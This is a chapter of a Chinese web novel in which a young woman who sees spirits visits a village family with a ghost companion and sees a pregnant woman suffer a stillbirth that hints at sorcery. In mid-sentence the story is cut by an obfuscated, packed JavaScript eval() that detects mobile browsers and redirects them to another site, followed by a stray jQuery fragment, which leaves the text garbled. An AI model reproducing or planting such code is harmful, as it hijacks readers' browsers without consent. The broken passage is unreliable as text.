37. 胎死腹中
作品:《她有阴阳眼》 使用拘魂符强行带走的办法很成功,但小菇重见天日的梦想仍然没有实现。
油纸伞成为新的禁锢之地,轻便好携带,同时拥挤狭小,极其限制小菇的行动,外头任何事物,它都只能眼巴巴瞧着、路过。
重要的是,魂体离开结界不得超过一个时辰,否则再厉害的法器都没有用,时间一到,小菇自动传送回山庄。
“下山几回了,还不腻?”
慕月桃手里提着东西,肩上背着背篓,里头装满草药还插了一把裹包布的油纸伞,脚下不停赶路。
小菇飞在慕月桃的后上方,一脸理所当然,“你每次采完药只在山庄底下逛一圈,我啥也没看到,好不容易碰到你出远门,打死我都不要待在山庄!”
慕月桃没有多说什么,而是专注脚下的路。她根据赵老伯给的路线,抄了条近道,来到了另一座山脚——赵老伯家。篱笆栏内阿莲正在喂鸡。
慕月桃悄悄鼓起一口勇气,喊道:“阿莲姐,我背草药过来了。”
阿莲猛一抬头,眼里又惊又喜,“月桃,你怎么自己跑过来了?”
阿莲放下喂鸡簸箕,边用衣角擦手,边小跑去开门,“大强真是的,怎能叫你大老远送过来呢,一个姑娘家家的,路上多危险呀。”心疼地望着头冒细汗的慕月桃。
“不怪大强哥,是我执意要来的。”
慕月桃递上提了一路几盒沉甸甸的礼物,脸上有些不好意思,“承蒙你们照顾多日,我不知道你们喜欢什么,大致挑了些合适的物品,希望你们能收下。”
阿莲哪敢想她是专程来报答的,慌得连连摆手,推还礼盒,“这个我们不能要,我们是举手之劳,你不必放在心上。”
慕月桃预想到会是这样子的场面,忽然痛苦地低叫一下,肩头脱力一斜,神情着急道:“背篓好重,胳膊好像拉伤了,阿莲姐快点帮我拿一下。”
阿莲一下子紧张了,忙要给她看情况。慕月桃眼疾手快,把礼物通通塞到阿莲手里,自己两手往背手一藏,后退大步,耍起无赖。
慕月桃嘴角绽开一抹坏坏的笑容,眼眸像晶石般闪烁,“对你们来说是举手之劳,对我来说是雪中送炭。你们是很好的人,但关系是相互的,如果阿莲姐把我当朋友的话,就请送下这些东西吧。”
阿莲手足无措地捧着礼物,他们一家帮过不少人,但从未遇到这般郑重其事地感谢,说不开心,那是假的。阿莲嘴巴张了下,眼眶有些发酸,她咽下喉头的哽噎,笑着点头,“好,我们收下。”
慕月桃如愿以偿地眉开眼笑,总算能安心地放下背篓了。
阿莲热情地揽人进去做客,放好大包小包的礼物,端上果子和茶水招待慕月桃。阿莲坐在对面,手掌有些局促地搓着,憨厚地笑了下,“家里没什么好东西招待,只有一些野果和粗茶。”
简陋之下是一片诚恳的心意,慕月桃出身贫寒,怎会嫌弃普通人家的窘迫呢?她顺势拿起一颗红彤彤的果子咬下,口感清脆,汁水充盈,然而一股后来居上的酸涩激得眯眼。
慕月桃把果肉含在腮边,缓了下牙齿的酸软,“我好久没吃野果了,正好馋这一口。”
“豆丁头回吃果子的反应跟你一样,爱哄人,”阿莲温柔地拿掉野果,塞了颗甜枣在她手上,“吃这个吧。”
慕月桃囫囵嚼下那口果肉,飞快把甜枣放入嘴里,冲散口中残余的酸。她放眼环视屋子一圈,看到矮凳上那只泛黄的布老虎,“豆丁不在家吗?”
布老虎是她上次送给张老伯、这家三岁小男娃豆丁的玩具。豆丁皮实捣蛋,经常闹着跟上山打猎,张老伯拗不过他性子,有时会哄着他到山庄玩耍,慕月桃见过一两回,是个机灵的小娃娃。
阿莲有些头疼地失笑,“大强这两天没上山打猎,豆丁一点也坐不住,非要他爹带去镇上玩。”
“附近有小镇?”慕月桃以为周边除了山庄以外,没什么人烟。
“往下走三百米便是了,你应该没去过吧,要去镇上走走吗?皇城边的镇子总是会比旁的热闹些。”阿莲提议。
“去!”
一直忍耐不出声的小菇听到关键词,像久旱甘露的春笋破土冒了出来,缠着慕月桃不停絮叨,“求你了,去吧去吧,我好太无聊啊~让我过过眼瘾吧。”
得亏小菇聒噪的性子不改,慕月桃学会了如何屏蔽蜜蜂展翅般的嗡声,不至于在外人面前失态。她稳如泰山,面色如常地对阿莲点了下头,“麻烦阿莲姐了。”
“好耶!!!”可算能见识新鲜事物的小菇,欣喜若狂地大喊大叫起来。
只能一人承受尖锐的河东狮吼,慕月桃眼底有种淡淡的绝望,她捞起油纸伞暗自捏了一把,引来一声变调的嗷叫,终于结束这场嗓音攻击。
一天天的,真是不能安分一点,早知道不让它跟来了。
阿莲见她起身还拿着一把伞,心生疑惑道:“今天应该不会下雨吧?”
慕月桃拎起背带靠在肩上,表情不是很自然地假笑,“有备无患。”
阿莲未多做怀疑,带着她到镇上走去。
黄泥铺路,摊位夹道摆布。各式吆喝声不断,粗布麻衣穿行,没有京城的繁华富丽,却比京城有烟火人气。
热闹中夹杂一阵吵闹,路边围着了一小团人墙,七嘴八舌交谈,众多声浪中竟抵不过一声愤怒的咒骂。
“个死盗贼,要再碰见他,看老娘不乱棍打死!”
阿莲听出是熟人的嗓音,和正在香囊摊停驻的慕月桃道:“月桃,我去瞧瞧怎么回事。”阿莲转头就往那边走,扒拉开人墙进到里边。
小菇按耐不住,飞起来高高地查看,催促慕月桃:“快点,咱们也去看热闹。”
慕月桃不慌不忙地付完钱,揣好东西过去。只是她去迟了一步,多了几个路人围观,不好挤到前头,唯有从人群缝隙依稀瞧里头的情况。
阿莲站在一妇人身旁给她顺气,温声安慰:“不急,好好说。”
妇人珠圆玉润,身怀六甲,一手提着菜篮子,一手叉腰泼辣唾骂着:“那贼人故意撞了一下我,企图盗窃钱袋,幸亏我及时察觉,要不然得喝西北风去了!他得庆幸我怀着孩子,身子不利索,要是落在老娘手里,定让他吃不了兜着走!”
妇人气得胸脯起伏,眼眶泛红地大声咒骂,阿莲怕她动了胎气,语句匮乏地帮忙骂着盗贼,细声劝导她消气。
一众路人也在七嘴八舌帮腔骂贼,慕月桃听得有些混乱,不太真切,所以小菇荡在上头给她叙述大致意思。
不想,小菇忽然嘶声来了一句,“她肚子有点不对劲呀?”
“什么?”慕月桃下意识出声询问,扭头想要听清楚何故,没想到小菇遗憾地啊了一下,魂体消失不见了。
一个时辰已到。话说到一半没答案,慕月桃只有往人群里挤进去一些,打探具体状况。
阿莲依旧在安慰妇人在情绪,“莫要动了胎气,都快生的人了,脾性还那么急。”
“早着呢,还有一个月。”孕妇浑不在意有何影响,大手不耐地挥了下。
话音刚落,孕妇的骤然脸色煞白,手中菜篮砰然掉落地面。她捂住肚子,双腿不受控制打颤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926673|192749||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,痛苦叫道:“怎么回事,我肚子好痛!”
状况突变,阿莲连忙搀扶着她,忙问哪里不舒服,话没说完,妇人腿裤渗出的血吓得阿莲大惊失色,连忙冲人群大喊:“快来帮忙啊,要生啦!”
看热闹的人们如梦初醒,七手八脚地找推车唤亲属,闹闹哄哄地送人去接生婆家。
黄泥瓦屋,帘布隔绝,里面是痛苦呻吟的妻子,外头是双手合十不停祈祷的丈夫。
阿莲攥紧拳心放在胸前,小声求老天保佑。慕月桃陪在门外,听着孕妇一轮又一轮的惨叫,还有接生婆努力的哄劝声,心尖跟着一揪一放。
所有人都在期待着新生命的到来,伴随一声泄气的长叫,里头慌乱的脚步声,那一刻似乎降临了。
“娘子,你没事吧?我们的孩子出来了吗?”那位丈夫心急如焚地问,企图得到一声回应,可惜里面的人没空理他。
阿莲察觉这份安静的有些异常,紧皱眉头,担忧地盯住那张门帘。
“怎么了?”慕月桃没看懂阿莲的神色,心底隐隐升起一丝不安。
阿莲脸色不太好看,犹豫地从嘴巴吐出几个字,声如蚊蚋,“没有孩啼声……”
慕月桃还是不明白她的意思,此时门帘摆动,接生婆脸色凝重地走出来,于心不忍地摇了下头,告诉那位丈夫。
“你娘子怀的是死胎。”
消息如一道惊雷劈落,打得那位丈夫脚下一晃,身子磕碰黄泥墙。他顺着墙面仓皇地蹲下,眼神愣怔了好一会儿,最后痛苦掩脸,小声啜泣。
慕月桃同样是余惊未定,她以为这是一次新生的迎接,紧张而期待着,不成想是一场生命的消逝,如此凄凉。
她心里像蒙了一层厚重的灰尘,闷得有些呼吸不畅,她甚至有些自我怀疑,是不是真应了旁人那句话,自己的命格会给身边人带来不幸……如果她不站在这里,妇人肚子的孩儿会不会改写命运?
偏偏世间没有如果,慕月桃清楚命数是天定的,生死簿上写得明明白白,可她难免会陷入一种难言的愧疚中。
小菇强制传送回山庄后,很是焦灼地等待,见到慕月桃情绪不高地进门,它不解地飞了过去,“怎么啦?你钱袋子也遭贼抢了?”
慕月桃没有心情理会它的幽默,眼神低迷地坐下,“那妇人怀的孩子没了。”
“啊?”小菇张大嘴巴惊讶了好一会儿,眨了下眼睛,喃喃自语,“我说怎会这么怪,她那胎儿竟然没有魂魄,原来是已经没了。”
“没有魂魄?”慕月桃猛地站了起来,开始回想起方才的情况。
妇人的丈夫说过,早晨起来时腹中还有胎动,这几日未见任何异常,更没有摔跤受过伤。而且接生婆也疑惑,寻常难产的胎儿一出来,手脚都会动弹两下,这个四肢瘫软,了无生气,只有胎死腹中的可能。
从妇人起床到见红,中间不过几个时辰,除了遇见贼人盗窃,期间无特殊事情发生。胎儿死得太过蹊跷了。
慕月桃看向小菇,“你还看出来别的异样吗?”她仅剩看见阴魂和阴气,小菇能察觉到生灵魂魄消失,显然要比她敏锐许多。
小菇忖思片刻,忽然双手一拍掌,恍然大悟道:“那个妇人身上有缕奇怪的紫烟!我以为是她衣裳的图案来着。”
慕月桃的眉头瞬间收紧,紫烟可不是什么好预兆,沣县就是一个例子。
王禅惨无人寰的手段历历在目,实在不敢想象,世上还有别的人在修炼这种邪术。慕月心里没底,迫切想要知道王禅是否存活。
她脚下一转,跑出去找了荣叁。

